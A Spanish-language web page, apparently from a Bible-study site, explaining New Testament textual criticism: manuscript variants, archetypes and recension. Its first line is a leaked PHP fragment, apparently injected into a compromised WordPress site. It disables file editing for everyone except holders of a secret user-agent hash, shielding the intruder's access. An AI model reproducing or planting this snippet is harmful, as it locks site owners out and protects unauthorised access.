if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } crítica textual – Texto Bíblico

La restauración del texto original

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Codex_Sinaiticus, Lucas 11:2

La restauración del texto original

Lo antedicho muestra la naturaleza de las variantes textuales que encuentra el estudiante de los manuscritos del Nuevo Testamento. A fin de reconstruir un texto que sea lo más idéntico posible al original, el investigador debe clasificar esas variantes y escoger entre ellas. Esto implica una ardua labor crítica hecha científicamente.

En primer lugar, debe tenerse en cuenta cada manuscrito bíblico existente. Esos manuscritos deben ser estudiados y reproducidos. Estos textos quedan así al alcance de los eruditos en general, y no únicamente como exclusividad de unos pocos doctos en la materia que quizá vivan cerca de donde se conservan esos manuscritos. Este proceso es especialmente necesario en el caso de los manuscritos más antiguos, pues generalmente son los más valiosos para los estudios textuales.

Una comparación de los manuscritos más antiguos con los de fecha más reciente revela errores que pueden reconocerse fácilmente y ser eliminados. A veces los mismos errores aparecen en una cantidad de manuscritos que se remontan en forma particular a un texto llamado “arquetipo”. Si este arquetipo existe, entonces los eruditos pueden desechar, por carecer de importancia para el estudio textual, todas las copias posteriores basadas en dicho arquetipo. Los investigadores comparan después los diversos arquetipos para tratar de llegar a lo que probablemente sea el texto original de todos los manuscritos. Esta tarea de descubrir el arquetipo más antiguo posible, basándose en el material de todos los manuscritos disponibles, se llama recensión.

El trabajo de la crítica textual es más difícil de lo que parece según la descripción precedente. La relación mutua de varios manuscritos no siempre se reconoce fácilmente, pues algunos de ellos pueden no ser nítidos descendientes de un arquetipo, sino híbridos en su forma. El erudito del Nuevo Testamento no sólo debe enfrentar estos problemas sino también comparar, con sentido crítico, las traducciones más antiguas y las citas de pasajes del Nuevo Testamento en los escritos de los padres de la iglesia, y valorar su evidencia comparándolas con la de los manuscritos.

Se sabe que hay más de 5.200 manuscritos del Nuevo Testamento griego. Esta gran cantidad aumenta la obra del especialista en crítica textual; sin embargo, esto es lo que le permite conseguir resultados más fidedignos y satisfactorios que los que hubiera obtenido si sólo tuviera a su disposición unos pocos textos antiguos para sus comparaciones, como es por ejemplo, el caso del erudito que se ocupa de literatura antigua extra bíblica, pero que sólo dispone de unas pocas copias antiguas. Esto sucede con la famosa Constitución ateniense de Aristóteles, y la Didachê, obra cristiana del siglo II, pues en ambos casos sólo se conocen copias muy posteriores. Cuando esto sucede, es imposible determinar la forma original de estos textos.

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Enlaces:

Introducción

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

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Introducción

Los libros del Nuevo Testamento fueron escritos unos 14 siglos antes de que se inventara la imprenta en el mundo occidental. El único método de reproducir la Biblia fue, durante largos siglos, copiar su texto a mano. Todos los manuscritos originales de las Escrituras se han perdido, por lo tanto, el Nuevo Testamento que ahora tenemos es hecho a base de copias, las más antiguas de las cuales se escribieron muchos años después de la muerte de sus autores originales. Es casi seguro que ninguna de las copias que existen fue hecha de los escritos originales, sino de otras copias; y en el proceso de recopiar las Escrituras durante siglos, en manuscritos posteriores de la Biblia se filtraron algunos errores de copia.

La exactitud de las obras impresas se puede comprobar si se dispone de los manuscritos originales del autor; se pueden hacer cambios o correcciones cuando se publica una nueva edición, y esos cambios se ven fácilmente comparando todas las ediciones.

Pero el proceso es diferente cuando se trata de obras que durante siglos han sido escritas a mano y no tenemos los manuscritos originales. En este caso se necesita, con frecuencia, una laboriosa comparación científica antes de que el erudito pueda pensar que probablemente han llegado al texto original de cada pasaje.

Aunque sólo unas pocas de las miles de variantes en el Nuevo Testamento son teológicamente significativas, ya que el teólogo cristiano y el estudiante de la Biblia deben basar su fe en las declaraciones auténticas de los escritores de la Biblia, es sumamente importante la tarea de procurar un texto digno de confianza.

Por lo tanto, al erudito bíblico le corresponde la tarea de estudiar cuidadosamente los manuscritos neotestamentarios, a fin de restablecer un texto que esté tan cerca del original como sea humanamente posible. Generalmente una obra tal se conoce con el nombre de “crítica textual” o “baja crítica”.

Mediante un proceso de diligente estudio crítico, la crítica textual se esfuerza por descubrir y eliminar errores de copistas para llegar a un texto bíblico que, en todo lo posible, sea el mismo que salió de las manos de los escritores originales. Esta obra ha sido sumamente fructífera, y en los últimos años lo que ha logrado la crítica textual y sus descubrimientos, han hecho mucho para restablecer la confianza en el texto de la Biblia.

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LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

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